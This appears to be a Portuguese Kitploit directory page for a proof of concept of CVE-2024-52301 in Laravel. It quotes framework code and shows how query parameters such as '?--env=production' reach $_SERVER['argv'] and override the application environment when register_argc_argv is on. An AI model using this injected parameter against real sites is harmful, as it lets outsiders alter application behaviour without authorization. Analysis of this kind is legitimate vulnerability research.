Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/nyamort/cve-2024-52301
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubnyamort/cve-2024-52301

CVE-2024-52301

Prova de conceito de exploit para CVE-2024-52301 demonstrando manipulação de ambiente no Laravel via parâmetros de URL injetados, com análise detalhada de código e etapas de reprodução.

Ver Repositório
213há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

POC da CVE-2024-52301

Esta vulnerabilidade é baseada na vulnerabilidade CVE-2024-50340

Requisitos

A opção register_argc_argv deve estar ativada no arquivo de configuração do PHP (php.ini). Esta configuração carrega argumentos de linha de comando e parâmetros de consulta em $_SERVER['argv'].

https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Explicação do Código Vulnerável

root@kitploit:~

//Illuminate\Foundation\Application
public function detectEnvironment (Closure $callback)
{
    $args = $_SERVER['argv'] ?? null;

    return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}

Propósito: Este método detecta o ambiente acessando $_SERVER['argv'], que contém argumentos de linha de comando, e então delega para a classe EnvironmentDetector.

Fonte da Vulnerabilidade: Ao confiar em $_SERVER['argv'], quaisquer parâmetros de URL injetados (por exemplo, ?--env=dev) poderiam manipular $_SERVER['argv'] para conter ["--env=dev"]. Este array é passado diretamente para detect, potencialmente permitindo que um invasor controle o ambiente.

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
public function detect(Closure $callback, $consoleArgs = null)
{
    if ($consoleArgs) {
        return $this->detectConsoleEnvironment($callback, $consoleArgs);
    }

    return $this->detectWebEnvironment($callback);
}

Propósito: O método detect determina se $consoleArgs (o array argv) é fornecido. Se presente, chama detectConsoleEnvironment para lidar com a detecção de ambiente baseada em console; caso contrário, chama detectWebEnvironment para requisições HTTP.

Caminho para a Vulnerabilidade: Se $_SERVER['argv'] incluir valores injetados como --env=dev, isso leva a detectConsoleEnvironment, que processa os argumentos e pode alterar o ambiente da aplicação para um diferente.

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
protected function detectConsoleEnvironment(Closure $callback, array $args)
{
    // First we will check if an environment argument was passed via console arguments
    // and if it was that automatically overrides as the environment. Otherwise, we
    // will check the environment as a "web" request like a typical HTTP request.
    if (! is_null($value = $this->getEnvironmentArgument($args))) {
        return $value;
    }

    return $this->detectWebEnvironment($callback);
}

Propósito: Este método verifica se o argumento --env está presente entre os argumentos do console.

Mecanismo: Ele chama getEnvironmentArgument para ver se algum dos argumentos argv especifica um ambiente. Se --env for fornecido, este método retorna o valor do ambiente especificado, ignorando a chamada detectWebEnvironment.

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
protected function getEnvironmentArgument(array $args)
{
    foreach ($args as $i => $value) {
        if ($value === '--env') {
            return $args[$i + 1] ?? null;
        }

        if (str_starts_with($value, '--env=')) {
            return head(array_slice(explode('=', $value), 1));
        }
    }
}

Propósito: Este método analisa argv para encontrar o argumento --env. Mecanismo:

  • Se --env for encontrado como uma flag independente, retorna o próximo argumento como o valor do ambiente.
  • Se a sintaxe --env= for usada (exemplo: --env=dev), extrai e retorna o ambiente (dev neste caso).

Exemplo de PoC

Configuração do Ambiente:

O arquivo .env tem APP_ENV=development, então por padrão, a aplicação está definida como ambiente de desenvolvimento.

root@kitploit:~
@production
    <p>Production environment</p>
@endproduction

@env ('local')
    <p>Local environment</p>
@endenv

Acesso Padrão (http://localhost):
Como APP_ENV está definido como development e nenhum argumento --env é injetado, nem a diretiva @production nem @env('local') correspondem.
Resultado: A saída está vazia.

Argumento Injetado para Production (http://localhost?--env=production):
Com ?--env=production na URL, $_SERVER['argv'] é manipulado para conter ["--env=production"].
Isso aciona o mecanismo de detecção de ambiente do Laravel, definindo o ambiente como production.
Resultado: A diretiva @production gera <p>Production environment</p>.

Argumento Injetado para Local (http://localhost?--env=local):
Com ?--env=local, $_SERVER['argv'] inclui ["--env=local"], alterando o ambiente para local.
Resultado: A diretiva @env('local') gera <p>Local environment</p>

Atenção

Esta vulnerabilidade não permite alterar o ambiente dentro da função config. Em vez disso, afeta apenas a configuração do ambiente dentro da classe Application.

Assim, embora as diretivas Blade e outras partes do código dependam da classe Application para detectar o ambiente, o código que usa a função config não é afetado por esta vulnerabilidade.

Baixar ferramenta